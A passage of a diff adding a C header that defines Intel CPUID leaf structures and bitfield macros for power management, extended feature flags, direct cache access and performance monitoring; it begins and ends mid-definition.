Flexible HWP is supported if set. + */ + uint32_t flexible_hwp : 1; +#define CPUID_EAX_FLEXIBLE_HWP_BIT 17 +#define CPUID_EAX_FLEXIBLE_HWP_FLAG 0x20000 +#define CPUID_EAX_FLEXIBLE_HWP_MASK 0x01 +#define CPUID_EAX_FLEXIBLE_HWP(_) (((_) >> 17) & 0x01) + + /** + * [Bit 18] Fast access mode for the IA32_HWP_REQUEST MSR is supported if set. + */ + uint32_t fast_access_mode_for_hwp_request_msr : 1; +#define CPUID_EAX_FAST_ACCESS_MODE_FOR_HWP_REQUEST_MSR_BIT 18 +#define CPUID_EAX_FAST_ACCESS_MODE_FOR_HWP_REQUEST_MSR_FLAG 0x40000 +#define CPUID_EAX_FAST_ACCESS_MODE_FOR_HWP_REQUEST_MSR_MASK 0x01 +#define CPUID_EAX_FAST_ACCESS_MODE_FOR_HWP_REQUEST_MSR(_) (((_) >> 18) & 0x01) + uint32_t reserved3 : 1; + + /** + * [Bit 20] Ignoring Idle Logical Processor HWP request is supported if set. + */ + uint32_t ignoring_idle_logical_processor_hwp_request : 1; +#define CPUID_EAX_IGNORING_IDLE_LOGICAL_PROCESSOR_HWP_REQUEST_BIT 20 +#define CPUID_EAX_IGNORING_IDLE_LOGICAL_PROCESSOR_HWP_REQUEST_FLAG 0x100000 +#define CPUID_EAX_IGNORING_IDLE_LOGICAL_PROCESSOR_HWP_REQUEST_MASK 0x01 +#define CPUID_EAX_IGNORING_IDLE_LOGICAL_PROCESSOR_HWP_REQUEST(_) (((_) >> 20) & 0x01) + uint32_t reserved4 : 11; + }; + + uint32_t flags; + } eax; + + union + { + struct + { + /** + * [Bits 3:0] Number of Interrupt Thresholds in Digital Thermal Sensor. + */ + uint32_t number_of_interrupt_thresholds_in_thermal_sensor : 4; +#define CPUID_EBX_NUMBER_OF_INTERRUPT_THRESHOLDS_IN_THERMAL_SENSOR_BIT 0 +#define CPUID_EBX_NUMBER_OF_INTERRUPT_THRESHOLDS_IN_THERMAL_SENSOR_FLAG 0x0F +#define CPUID_EBX_NUMBER_OF_INTERRUPT_THRESHOLDS_IN_THERMAL_SENSOR_MASK 0x0F +#define CPUID_EBX_NUMBER_OF_INTERRUPT_THRESHOLDS_IN_THERMAL_SENSOR(_) (((_) >> 0) & 0x0F) + uint32_t reserved1 : 28; + }; + + uint32_t flags; + } ebx; + + union + { + struct + { + /** + * [Bit 0] Hardware Coordination Feedback Capability (Presence of IA32_MPERF and IA32_APERF). The capability to provide a + * measure of delivered processor performance (since last reset of the counters), as a percentage of the expected processor + * performance when running at the TSC frequency. + */ + uint32_t hardware_coordination_feedback_capability : 1; +#define CPUID_ECX_HARDWARE_COORDINATION_FEEDBACK_CAPABILITY_BIT 0 +#define CPUID_ECX_HARDWARE_COORDINATION_FEEDBACK_CAPABILITY_FLAG 0x01 +#define CPUID_ECX_HARDWARE_COORDINATION_FEEDBACK_CAPABILITY_MASK 0x01 +#define CPUID_ECX_HARDWARE_COORDINATION_FEEDBACK_CAPABILITY(_) (((_) >> 0) & 0x01) + uint32_t reserved1 : 2; + + /** + * [Bit 3] The processor supports performance-energy bias preference if CPUID.06H:ECX.SETBH[bit 3] is set and it also + * implies the presence of a new architectural MSR called IA32_ENERGY_PERF_BIAS (1B0H). + */ + uint32_t performance_energy_bias_preference : 1; +#define CPUID_ECX_PERFORMANCE_ENERGY_BIAS_PREFERENCE_BIT 3 +#define CPUID_ECX_PERFORMANCE_ENERGY_BIAS_PREFERENCE_FLAG 0x08 +#define CPUID_ECX_PERFORMANCE_ENERGY_BIAS_PREFERENCE_MASK 0x01 +#define CPUID_ECX_PERFORMANCE_ENERGY_BIAS_PREFERENCE(_) (((_) >> 3) & 0x01) + uint32_t reserved2 : 28; + }; + + uint32_t flags; + } ecx; + + union + { + struct + { + /** + * [Bits 31:0] EDX is reserved. + */ + uint32_t reserved : 32; +#define CPUID_EDX_RESERVED_BIT 0 +#define CPUID_EDX_RESERVED_FLAG 0xFFFFFFFF +#define CPUID_EDX_RESERVED_MASK 0xFFFFFFFF +#define CPUID_EDX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } edx; + +} cpuid_eax_06; + + +/** + * @brief Structured Extended Feature Flags Enumeration Leaf (Output depends on ECX input value) + * + * When CPUID executes with EAX set to 07H and ECX = 0, the processor returns information about the maximum input value for + * sub-leaves that contain extended feature flags. + * When CPUID executes with EAX set to 07H and the input value of ECX is invalid (see leaf 07H entry in Table 3-8), the + * processor returns 0 in EAX/EBX/ECX/EDX. In subleaf 0, EAX returns the maximum input value of the highest leaf 7 + * sub-leaf, and EBX, ECX & EDX contain information of extended feature flags. + */ +#define CPUID_STRUCTURED_EXTENDED_FEATURE_FLAGS 0x00000007 +typedef struct +{ + union + { + struct + { + /** + * [Bits 31:0] Reports the maximum input value for supported leaf 7 sub-leaves. + */ + uint32_t number_of_sub_leaves : 32; +#define CPUID_EAX_NUMBER_OF_SUB_LEAVES_BIT 0 +#define CPUID_EAX_NUMBER_OF_SUB_LEAVES_FLAG 0xFFFFFFFF +#define CPUID_EAX_NUMBER_OF_SUB_LEAVES_MASK 0xFFFFFFFF +#define CPUID_EAX_NUMBER_OF_SUB_LEAVES(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } eax; + + union + { + struct + { + /** + * [Bit 0] Supports RDFSBASE/RDGSBASE/WRFSBASE/WRGSBASE if 1. + */ + uint32_t fsgsbase : 1; +#define CPUID_EBX_FSGSBASE_BIT 0 +#define CPUID_EBX_FSGSBASE_FLAG 0x01 +#define CPUID_EBX_FSGSBASE_MASK 0x01 +#define CPUID_EBX_FSGSBASE(_) (((_) >> 0) & 0x01) + + /** + * [Bit 1] IA32_TSC_ADJUST MSR is supported if 1. + */ + uint32_t ia32_tsc_adjust_msr : 1; +#define CPUID_EBX_IA32_TSC_ADJUST_MSR_BIT 1 +#define CPUID_EBX_IA32_TSC_ADJUST_MSR_FLAG 0x02 +#define CPUID_EBX_IA32_TSC_ADJUST_MSR_MASK 0x01 +#define CPUID_EBX_IA32_TSC_ADJUST_MSR(_) (((_) >> 1) & 0x01) + + /** + * [Bit 2] Supports Intel(R) Software Guard Extensions (Intel(R) SGX Extensions) if 1. + */ + uint32_t sgx : 1; +#define CPUID_EBX_SGX_BIT 2 +#define CPUID_EBX_SGX_FLAG 0x04 +#define CPUID_EBX_SGX_MASK 0x01 +#define CPUID_EBX_SGX(_) (((_) >> 2) & 0x01) + + /** + * [Bit 3] BMI1. + */ + uint32_t bmi1 : 1; +#define CPUID_EBX_BMI1_BIT 3 +#define CPUID_EBX_BMI1_FLAG 0x08 +#define CPUID_EBX_BMI1_MASK 0x01 +#define CPUID_EBX_BMI1(_) (((_) >> 3) & 0x01) + + /** + * [Bit 4] HLE. + */ + uint32_t hle : 1; +#define CPUID_EBX_HLE_BIT 4 +#define CPUID_EBX_HLE_FLAG 0x10 +#define CPUID_EBX_HLE_MASK 0x01 +#define CPUID_EBX_HLE(_) (((_) >> 4) & 0x01) + + /** + * [Bit 5] AVX2. + */ + uint32_t avx2 : 1; +#define CPUID_EBX_AVX2_BIT 5 +#define CPUID_EBX_AVX2_FLAG 0x20 +#define CPUID_EBX_AVX2_MASK 0x01 +#define CPUID_EBX_AVX2(_) (((_) >> 5) & 0x01) + + /** + * [Bit 6] x87 FPU Data Pointer updated only on x87 exceptions if 1. + */ + uint32_t fdp_excptn_only : 1; +#define CPUID_EBX_FDP_EXCPTN_ONLY_BIT 6 +#define CPUID_EBX_FDP_EXCPTN_ONLY_FLAG 0x40 +#define CPUID_EBX_FDP_EXCPTN_ONLY_MASK 0x01 +#define CPUID_EBX_FDP_EXCPTN_ONLY(_) (((_) >> 6) & 0x01) + + /** + * [Bit 7] Supports Supervisor-Mode Execution Prevention if 1. + */ + uint32_t smep : 1; +#define CPUID_EBX_SMEP_BIT 7 +#define CPUID_EBX_SMEP_FLAG 0x80 +#define CPUID_EBX_SMEP_MASK 0x01 +#define CPUID_EBX_SMEP(_) (((_) >> 7) & 0x01) + + /** + * [Bit 8] BMI2. + */ + uint32_t bmi2 : 1; +#define CPUID_EBX_BMI2_BIT 8 +#define CPUID_EBX_BMI2_FLAG 0x100 +#define CPUID_EBX_BMI2_MASK 0x01 +#define CPUID_EBX_BMI2(_) (((_) >> 8) & 0x01) + + /** + * [Bit 9] Supports Enhanced REP MOVSB/STOSB if 1. + */ + uint32_t enhanced_rep_movsb_stosb : 1; +#define CPUID_EBX_ENHANCED_REP_MOVSB_STOSB_BIT 9 +#define CPUID_EBX_ENHANCED_REP_MOVSB_STOSB_FLAG 0x200 +#define CPUID_EBX_ENHANCED_REP_MOVSB_STOSB_MASK 0x01 +#define CPUID_EBX_ENHANCED_REP_MOVSB_STOSB(_) (((_) >> 9) & 0x01) + + /** + * [Bit 10] If 1, supports INVPCID instruction for system software that manages process-context identifiers. + */ + uint32_t invpcid : 1; +#define CPUID_EBX_INVPCID_BIT 10 +#define CPUID_EBX_INVPCID_FLAG 0x400 +#define CPUID_EBX_INVPCID_MASK 0x01 +#define CPUID_EBX_INVPCID(_) (((_) >> 10) & 0x01) + + /** + * [Bit 11] RTM. + */ + uint32_t rtm : 1; +#define CPUID_EBX_RTM_BIT 11 +#define CPUID_EBX_RTM_FLAG 0x800 +#define CPUID_EBX_RTM_MASK 0x01 +#define CPUID_EBX_RTM(_) (((_) >> 11) & 0x01) + + /** + * [Bit 12] Supports Intel(R) Resource Director Technology (Intel(R) RDT) Monitoring capability if 1. + */ + uint32_t rdt_m : 1; +#define CPUID_EBX_RDT_M_BIT 12 +#define CPUID_EBX_RDT_M_FLAG 0x1000 +#define CPUID_EBX_RDT_M_MASK 0x01 +#define CPUID_EBX_RDT_M(_) (((_) >> 12) & 0x01) + + /** + * [Bit 13] Deprecates FPU CS and FPU DS values if 1. + */ + uint32_t deprecates : 1; +#define CPUID_EBX_DEPRECATES_BIT 13 +#define CPUID_EBX_DEPRECATES_FLAG 0x2000 +#define CPUID_EBX_DEPRECATES_MASK 0x01 +#define CPUID_EBX_DEPRECATES(_) (((_) >> 13) & 0x01) + + /** + * [Bit 14] Supports Intel(R) Memory Protection Extensions if 1. + */ + uint32_t mpx : 1; +#define CPUID_EBX_MPX_BIT 14 +#define CPUID_EBX_MPX_FLAG 0x4000 +#define CPUID_EBX_MPX_MASK 0x01 +#define CPUID_EBX_MPX(_) (((_) >> 14) & 0x01) + + /** + * [Bit 15] Supports Intel(R) Resource Director Technology (Intel(R) RDT) Allocation capability if 1. + */ + uint32_t rdt : 1; +#define CPUID_EBX_RDT_BIT 15 +#define CPUID_EBX_RDT_FLAG 0x8000 +#define CPUID_EBX_RDT_MASK 0x01 +#define CPUID_EBX_RDT(_) (((_) >> 15) & 0x01) + + /** + * [Bit 16] AVX512F. + */ + uint32_t avx512f : 1; +#define CPUID_EBX_AVX512F_BIT 16 +#define CPUID_EBX_AVX512F_FLAG 0x10000 +#define CPUID_EBX_AVX512F_MASK 0x01 +#define CPUID_EBX_AVX512F(_) (((_) >> 16) & 0x01) + + /** + * [Bit 17] AVX512DQ. + */ + uint32_t avx512dq : 1; +#define CPUID_EBX_AVX512DQ_BIT 17 +#define CPUID_EBX_AVX512DQ_FLAG 0x20000 +#define CPUID_EBX_AVX512DQ_MASK 0x01 +#define CPUID_EBX_AVX512DQ(_) (((_) >> 17) & 0x01) + + /** + * [Bit 18] RDSEED. + */ + uint32_t rdseed : 1; +#define CPUID_EBX_RDSEED_BIT 18 +#define CPUID_EBX_RDSEED_FLAG 0x40000 +#define CPUID_EBX_RDSEED_MASK 0x01 +#define CPUID_EBX_RDSEED(_) (((_) >> 18) & 0x01) + + /** + * [Bit 19] ADX. + */ + uint32_t adx : 1; +#define CPUID_EBX_ADX_BIT 19 +#define CPUID_EBX_ADX_FLAG 0x80000 +#define CPUID_EBX_ADX_MASK 0x01 +#define CPUID_EBX_ADX(_) (((_) >> 19) & 0x01) + + /** + * [Bit 20] Supports Supervisor-Mode Access Prevention (and the CLAC/STAC instructions) if 1. + */ + uint32_t smap : 1; +#define CPUID_EBX_SMAP_BIT 20 +#define CPUID_EBX_SMAP_FLAG 0x100000 +#define CPUID_EBX_SMAP_MASK 0x01 +#define CPUID_EBX_SMAP(_) (((_) >> 20) & 0x01) + + /** + * [Bit 21] AVX512_IFMA. + */ + uint32_t avx512_ifma : 1; +#define CPUID_EBX_AVX512_IFMA_BIT 21 +#define CPUID_EBX_AVX512_IFMA_FLAG 0x200000 +#define CPUID_EBX_AVX512_IFMA_MASK 0x01 +#define CPUID_EBX_AVX512_IFMA(_) (((_) >> 21) & 0x01) + uint32_t reserved1 : 1; + + /** + * [Bit 23] CLFLUSHOPT. + */ + uint32_t clflushopt : 1; +#define CPUID_EBX_CLFLUSHOPT_BIT 23 +#define CPUID_EBX_CLFLUSHOPT_FLAG 0x800000 +#define CPUID_EBX_CLFLUSHOPT_MASK 0x01 +#define CPUID_EBX_CLFLUSHOPT(_) (((_) >> 23) & 0x01) + + /** + * [Bit 24] CLWB. + */ + uint32_t clwb : 1; +#define CPUID_EBX_CLWB_BIT 24 +#define CPUID_EBX_CLWB_FLAG 0x1000000 +#define CPUID_EBX_CLWB_MASK 0x01 +#define CPUID_EBX_CLWB(_) (((_) >> 24) & 0x01) + + /** + * [Bit 25] Intel Processor Trace. + */ + uint32_t intel : 1; +#define CPUID_EBX_INTEL_BIT 25 +#define CPUID_EBX_INTEL_FLAG 0x2000000 +#define CPUID_EBX_INTEL_MASK 0x01 +#define CPUID_EBX_INTEL(_) (((_) >> 25) & 0x01) + + /** + * [Bit 26] (Intel(R) Xeon Phi(TM) only). + */ + uint32_t avx512pf : 1; +#define CPUID_EBX_AVX512PF_BIT 26 +#define CPUID_EBX_AVX512PF_FLAG 0x4000000 +#define CPUID_EBX_AVX512PF_MASK 0x01 +#define CPUID_EBX_AVX512PF(_) (((_) >> 26) & 0x01) + + /** + * [Bit 27] (Intel(R) Xeon Phi(TM) only). + */ + uint32_t avx512er : 1; +#define CPUID_EBX_AVX512ER_BIT 27 +#define CPUID_EBX_AVX512ER_FLAG 0x8000000 +#define CPUID_EBX_AVX512ER_MASK 0x01 +#define CPUID_EBX_AVX512ER(_) (((_) >> 27) & 0x01) + + /** + * [Bit 28] AVX512CD. + */ + uint32_t avx512cd : 1; +#define CPUID_EBX_AVX512CD_BIT 28 +#define CPUID_EBX_AVX512CD_FLAG 0x10000000 +#define CPUID_EBX_AVX512CD_MASK 0x01 +#define CPUID_EBX_AVX512CD(_) (((_) >> 28) & 0x01) + + /** + * [Bit 29] Supports Intel(R) Secure Hash Algorithm Extensions (Intel(R) SHA Extensions) if 1. + */ + uint32_t sha : 1; +#define CPUID_EBX_SHA_BIT 29 +#define CPUID_EBX_SHA_FLAG 0x20000000 +#define CPUID_EBX_SHA_MASK 0x01 +#define CPUID_EBX_SHA(_) (((_) >> 29) & 0x01) + + /** + * [Bit 30] AVX512BW. + */ + uint32_t avx512bw : 1; +#define CPUID_EBX_AVX512BW_BIT 30 +#define CPUID_EBX_AVX512BW_FLAG 0x40000000 +#define CPUID_EBX_AVX512BW_MASK 0x01 +#define CPUID_EBX_AVX512BW(_) (((_) >> 30) & 0x01) + + /** + * [Bit 31] AVX512VL. + */ + uint32_t avx512vl : 1; +#define CPUID_EBX_AVX512VL_BIT 31 +#define CPUID_EBX_AVX512VL_FLAG 0x80000000 +#define CPUID_EBX_AVX512VL_MASK 0x01 +#define CPUID_EBX_AVX512VL(_) (((_) >> 31) & 0x01) + }; + + uint32_t flags; + } ebx; + + union + { + struct + { + /** + * [Bit 0] (Intel(R) Xeon Phi(TM) only). + */ + uint32_t prefetchwt1 : 1; +#define CPUID_ECX_PREFETCHWT1_BIT 0 +#define CPUID_ECX_PREFETCHWT1_FLAG 0x01 +#define CPUID_ECX_PREFETCHWT1_MASK 0x01 +#define CPUID_ECX_PREFETCHWT1(_) (((_) >> 0) & 0x01) + + /** + * [Bit 1] AVX512_VBMI. + */ + uint32_t avx512_vbmi : 1; +#define CPUID_ECX_AVX512_VBMI_BIT 1 +#define CPUID_ECX_AVX512_VBMI_FLAG 0x02 +#define CPUID_ECX_AVX512_VBMI_MASK 0x01 +#define CPUID_ECX_AVX512_VBMI(_) (((_) >> 1) & 0x01) + + /** + * [Bit 2] Supports user-mode instruction prevention if 1. + */ + uint32_t umip : 1; +#define CPUID_ECX_UMIP_BIT 2 +#define CPUID_ECX_UMIP_FLAG 0x04 +#define CPUID_ECX_UMIP_MASK 0x01 +#define CPUID_ECX_UMIP(_) (((_) >> 2) & 0x01) + + /** + * [Bit 3] Supports protection keys for user-mode pages if 1. + */ + uint32_t pku : 1; +#define CPUID_ECX_PKU_BIT 3 +#define CPUID_ECX_PKU_FLAG 0x08 +#define CPUID_ECX_PKU_MASK 0x01 +#define CPUID_ECX_PKU(_) (((_) >> 3) & 0x01) + + /** + * [Bit 4] If 1, OS has set CR4.PKE to enable protection keys (and the RDPKRU/WRPKRU instructions). + */ + uint32_t ospke : 1; +#define CPUID_ECX_OSPKE_BIT 4 +#define CPUID_ECX_OSPKE_FLAG 0x10 +#define CPUID_ECX_OSPKE_MASK 0x01 +#define CPUID_ECX_OSPKE(_) (((_) >> 4) & 0x01) + uint32_t reserved1 : 12; + + /** + * [Bits 21:17] The value of MAWAU used by the BNDLDX and BNDSTX instructions in 64-bit mode. + */ + uint32_t mawau : 5; +#define CPUID_ECX_MAWAU_BIT 17 +#define CPUID_ECX_MAWAU_FLAG 0x3E0000 +#define CPUID_ECX_MAWAU_MASK 0x1F +#define CPUID_ECX_MAWAU(_) (((_) >> 17) & 0x1F) + + /** + * [Bit 22] RDPID and IA32_TSC_AUX are available if 1. + */ + uint32_t rdpid : 1; +#define CPUID_ECX_RDPID_BIT 22 +#define CPUID_ECX_RDPID_FLAG 0x400000 +#define CPUID_ECX_RDPID_MASK 0x01 +#define CPUID_ECX_RDPID(_) (((_) >> 22) & 0x01) + uint32_t reserved2 : 7; + + /** + * [Bit 30] Supports SGX Launch Configuration if 1. + */ + uint32_t sgx_lc : 1; +#define CPUID_ECX_SGX_LC_BIT 30 +#define CPUID_ECX_SGX_LC_FLAG 0x40000000 +#define CPUID_ECX_SGX_LC_MASK 0x01 +#define CPUID_ECX_SGX_LC(_) (((_) >> 30) & 0x01) + uint32_t reserved3 : 1; + }; + + uint32_t flags; + } ecx; + + union + { + struct + { + /** + * [Bits 31:0] EDX is reserved. + */ + uint32_t reserved : 32; +#define CPUID_EDX_RESERVED_BIT 0 +#define CPUID_EDX_RESERVED_FLAG 0xFFFFFFFF +#define CPUID_EDX_RESERVED_MASK 0xFFFFFFFF +#define CPUID_EDX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } edx; + +} cpuid_eax_07; + + +/** + * @brief Direct Cache Access Information Leaf + * + * When CPUID executes with EAX set to 09H, the processor returns information about Direct Cache Access capabilities. + */ +#define CPUID_DIRECT_CACHE_ACCESS_INFORMATION 0x00000009 +typedef struct +{ + union + { + struct + { + /** + * [Bits 31:0] Value of bits [31:0] of IA32_PLATFORM_DCA_CAP MSR (address 1F8H). + */ + uint32_t ia32_platform_dca_cap : 32; +#define CPUID_EAX_IA32_PLATFORM_DCA_CAP_BIT 0 +#define CPUID_EAX_IA32_PLATFORM_DCA_CAP_FLAG 0xFFFFFFFF +#define CPUID_EAX_IA32_PLATFORM_DCA_CAP_MASK 0xFFFFFFFF +#define CPUID_EAX_IA32_PLATFORM_DCA_CAP(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } eax; + + union + { + struct + { + /** + * [Bits 31:0] EBX is reserved. + */ + uint32_t reserved : 32; +#define CPUID_EBX_RESERVED_BIT 0 +#define CPUID_EBX_RESERVED_FLAG 0xFFFFFFFF +#define CPUID_EBX_RESERVED_MASK 0xFFFFFFFF +#define CPUID_EBX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } ebx; + + union + { + struct + { + /** + * [Bits 31:0] ECX is reserved. + */ + uint32_t reserved : 32; +#define CPUID_ECX_RESERVED_BIT 0 +#define CPUID_ECX_RESERVED_FLAG 0xFFFFFFFF +#define CPUID_ECX_RESERVED_MASK 0xFFFFFFFF +#define CPUID_ECX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } ecx; + + union + { + struct + { + /** + * [Bits 31:0] EDX is reserved. + */ + uint32_t reserved : 32; +#define CPUID_EDX_RESERVED_BIT 0 +#define CPUID_EDX_RESERVED_FLAG 0xFFFFFFFF +#define CPUID_EDX_RESERVED_MASK 0xFFFFFFFF +#define CPUID_EDX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } edx; + +} cpuid_eax_09; + + +/** + * @brief Architectural Performance Monitoring Leaf + * + * When CPUID executes with EAX set to 0AH, the processor returns information about support for architectural performance + * monitoring capabilities. Architectural performance monitoring is supported if the version ID is greater than Pn 0. For + * each version of architectural performance monitoring capability, software must enumerate this leaf to discover the + * programming facilities and the architectural performance events available in the processor. + * + * @see Vol3C[23(Introduction to Virtual-Machine Extensions)] + */ +#define CPUID_ARCHITECTURAL_PERFORMANCE_MONITORING 0x0000000A +typedef struct +{ + union + { + struct + { + /** + * [Bits 7:0] Version ID of architectural performance monitoring. + */ + uint32_t version_id_of_architectural_performance_monitoring : 8; +#define CPUID_EAX_VERSION_ID_OF_ARCHITECTURAL_PERFORMANCE_MONITORING_BIT 0 +#define CPUID_EAX_VERSION_ID_OF_ARCHITECTURAL_PERFORMANCE_MONITORING_FLAG 0xFF +#define CPUID_EAX_VERSION_ID_OF_ARCHITECTURAL_PERFORMANCE_MONITORING_MASK 0xFF +#define CPUID_EAX_VERSION_ID_OF_ARCHITECTURAL_PERFORMANCE_MONITORING(_) (((_) >> 0) & 0xFF) + + /** + * [Bits 15:8] Number of general-purpose performance monitoring counter per logical processor. + */ + uint32_t number_of_performance_monitoring_counter_per_logical_processor : 8; +#define CPUID_EAX_NUMBER_OF_PERFORMANCE_MONITORING_COUNTER_PER_LOGICAL_PROCESSOR_BIT 8 +#define CPUID_EAX_NUMBER_OF_PERFORMANCE_MONITORING_COUNTER_PER_LOGICAL_PROCESSOR_FLAG 0xFF00 +#define CPUID_EAX_NUMBER_OF_PERFORMANCE_MONITORING_COUNTER_PER_LOGICAL_PROCESSOR_MASK 0xFF +#define CPUID_EAX_NUMBER_OF_PERFORMANCE_MONITORING_COUNTER_PER_LOGICAL_PROCESSOR(_) (((_) >> 8) & 0xFF) + + /** + * [Bits 23:16] Bit width of general-purpose, performance monitoring counter. + */ + uint32_t bit_width_of_performance_monitoring_counter : 8; +#define CPUID_EAX_BIT_WIDTH_OF_PERFORMANCE_MONITORING_COUNTER_BIT 16 +#define CPUID_EAX_BIT_WIDTH_OF_PERFORMANCE_MONITORING_COUNTER_FLAG 0xFF0000 +#define CPUID_EAX_BIT_WIDTH_OF_PERFORMANCE_MONITORING_COUNTER_MASK 0xFF +#define CPUID_EAX_BIT_WIDTH_OF_PERFORMANCE_MONITORING_COUNTER(_) (((_) >> 16) & 0xFF) + + /** + * [Bits 31:24] Length of EBX bit vector to enumerate architectural performance monitoring events. + */ + uint32_t ebx_bit_vector_length : 8; +#define CPUID_EAX_EBX_BIT_VECTOR_LENGTH_BIT 24 +#define CPUID_EAX_EBX_BIT_VECTOR_LENGTH_FLAG 0xFF000000 +#define CPUID_EAX_EBX_BIT_VECTOR_LENGTH_MASK 0xFF +#define CPUID_EAX_EBX_BIT_VECTOR_LENGTH(_) (((_) >> 24) & 0xFF) + }; + + uint32_t flags; + } eax; + + union + { + struct + { + /** + * [Bit 0] Core cycle event not available if 1. + */ + uint32_t core_cycle_event_not_available : 1; +#define CPUID_EBX_CORE_CYCLE_EVENT_NOT_AVAILABLE_BIT 0 +#define CPUID_EBX_CORE_CYCLE_EVENT_NOT_AVAILABLE_FLAG 0x01 +#define CPUID_EBX_CORE_CYCLE_EVENT_NOT_AVAILABLE_MASK 0x01 +#define CPUID_EBX_CORE_CYCLE_EVENT_NOT_AVAILABLE(_) (((_) >> 0) & 0x01) + + /** + * [Bit 1] Instruction retired event not available if 1. + */ + uint32_t instruction_retired_event_not_available : 1; +#define CPUID_EBX_INSTRUCTION_RETIRED_EVENT_NOT_AVAILABLE_BIT 1 +#define CPUID_EBX_INSTRUCTION_RETIRED_EVENT_NOT_AVAILABLE_FLAG 0x02 +#define CPUID_EBX_INSTRUCTION_RETIRED_EVENT_NOT_AVAILABLE_MASK 0x01 +#define CPUID_EBX_INSTRUCTION_RETIRED_EVENT_NOT_AVAILABLE(_) (((_) >> 1) & 0x01) + + /** + * [Bit 2] Reference cycles event not available if 1. + */ + uint32_t reference_cycles_event_not_available : 1; +#define CPUID_EBX_REFERENCE_CYCLES_EVENT_NOT_AVAILABLE_BIT 2 +#define CPUID_EBX_REFERENCE_CYCLES_EVENT_NOT_AVAILABLE_FLAG 0x04 +#define CPUID_EBX_REFERENCE_CYCLES_EVENT_NOT_AVAILABLE_MASK 0x01 +#define CPUID_EBX_REFERENCE_CYCLES_EVENT_NOT_AVAILABLE(_) (((_) >> 2) & 0x01) + + /** + * [Bit 3] Last-level cache reference event not available if 1. + */ + uint32_t last_level_cache_reference_event_not_available : 1; +#define CPUID_EBX_LAST_LEVEL_CACHE_REFERENCE_EVENT_NOT_AVAILABLE_BIT 3 +#define CPUID_EBX_LAST_LEVEL_CACHE_REFERENCE_EVENT_NOT_AVAILABLE_FLAG 0x08 +#define CPUID_EBX_LAST_LEVEL_CACHE_REFERENCE_EVENT_NOT_AVAILABLE_MASK 0x01 +#define CPUID_EBX_LAST_LEVEL_CACHE_REFERENCE_EVENT_NOT_AVAILABLE(_) (((_) >> 3) & 0x01) + + /** + * [Bit 4] Last-level cache misses event not available if 1. + */ + uint32_t last_level_cache_misses_event_not_available : 1; +#define CPUID_EBX_LAST_LEVEL_CACHE_MISSES_EVENT_NOT_AVAILABLE_BIT 4 +#define CPUID_EBX_LAST_LEVEL_CACHE_MISSES_EVENT_NOT_AVAILABLE_FLAG 0x10 +#define CPUID_EBX_LAST_LEVEL_CACHE_MISSES_EVENT_NOT_AVAILABLE_MASK 0x01 +#define CPUID_EBX_LAST_LEVEL_CACHE_MISSES_EVENT_NOT_AVAILABLE(_) (((_) >> 4) & 0x01) + + /** + * [Bit 5] Branch instruction retired event not available if 1. + */ + uint32_t branch_instruction_retired_event_not_available : 1; +#define CPUID_EBX_BRANCH_INSTRUCTION_RETIRED_EVENT_NOT_AVAILABLE_BIT 5 +#define CPUID_EBX_BRANCH_INSTRUCTION_RETIRED_EVENT_NOT_AVAILABLE_FLAG 0x20 +#define CPUID_EBX_BRANCH_INSTRUCTION_RETIRED_EVENT_NOT_AVAILABLE_MASK 0x01 +#define CPUID_EBX_BRANCH_INSTRUCTION_RETIRED_EVENT_NOT_AVAILABLE(_) (((_) >> 5) & 0x01) + + /** + * [Bit 6] Branch mispredict retired event not available if 1. + */ + uint32_t branch_mispredict_retired_event_not_available : 1; +#define CPUID_EBX_BRANCH_MISPREDICT_RETIRED_EVENT_NOT_AVAILABLE_BIT 6 +#define CPUID_EBX_BRANCH_MISPREDICT_RETIRED_EVENT_NOT_AVAILABLE_FLAG 0x40 +#define CPUID_EBX_BRANCH_MISPREDICT_RETIRED_EVENT_NOT_AVAILABLE_MASK 0x01 +#define CPUID_EBX_BRANCH_MISPREDICT_RETIRED_EVENT_NOT_AVAILABLE(_) (((_) >> 6) & 0x01) + uint32_t reserved1 : 25; + }; + + uint32_t flags; + } ebx; + + union + { + struct + { + /** + * [Bits 31:0] ECX is reserved. + */ + uint32_t reserved : 32; +#define CPUID_ECX_RESERVED_BIT 0 +#define CPUID_ECX_RESERVED_FLAG 0xFFFFFFFF +#define CPUID_ECX_RESERVED_MASK 0xFFFFFFFF +#define CPUID_ECX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } ecx; + + union + { + struct + { + /** + * [Bits 4:0] Number of fixed-function performance counters (if Version ID > 1). + */ + uint32_t number_of_fixed_function_performance_counters : 5; +#define CPUID_EDX_NUMBER_OF_FIXED_FUNCTION_PERFORMANCE_COUNTERS_BIT 0 +#define CPUID_EDX_NUMBER_OF_FIXED_FUNCTION_PERFORMANCE_COUNTERS_FLAG 0x1F +#define CPUID_EDX_NUMBER_OF_FIXED_FUNCTION_PERFORMANCE_COUNTERS_MASK 0x1F +#define CPUID_EDX_NUMBER_OF_FIXED_FUNCTION_PERFORMANCE_COUNTERS(_) (((_) >> 0) & 0x1F) + + /** + * [Bits 12:5] Bit width of fixed-function performance counters (if Version ID > 1). + */ + uint32_t bit_width_of_fixed_function_performance_counters : 8; +#define CPUID_EDX_BIT_WIDTH_OF_FIXED_FUNCTION_PERFORMANCE_COUNTERS_BIT 5 +#define CPUID_EDX_BIT_WIDTH_OF_FIXED_FUNCTION_PERFORMANCE_COUNTERS_FLAG 0x1FE0 +#define CPUID_EDX_BIT_WIDTH_OF_FIXED_FUNCTION_PERFORMANCE_COUNTERS_MASK 0xFF +#define CPUID_EDX_BIT_WIDTH_OF_FIXED_FUNCTION_PERFORMANCE_COUNTERS(_) (((_) >> 5) & 0xFF) + uint32_t reserved1 : 2; + + /** + * [Bit 15] AnyThread deprecation. + */ + uint32_t any_thread_deprecation : 1; +#define CPUID_EDX_ANY_THREAD_DEPRECATION_BIT 15 +#define CPUID_EDX_ANY_THREAD_DEPRECATION_FLAG 0x8000 +#define CPUID_EDX_ANY_THREAD_DEPRECATION_MASK 0x01 +#define CPUID_EDX_ANY_THREAD_DEPRECATION(_) (((_) >> 15) & 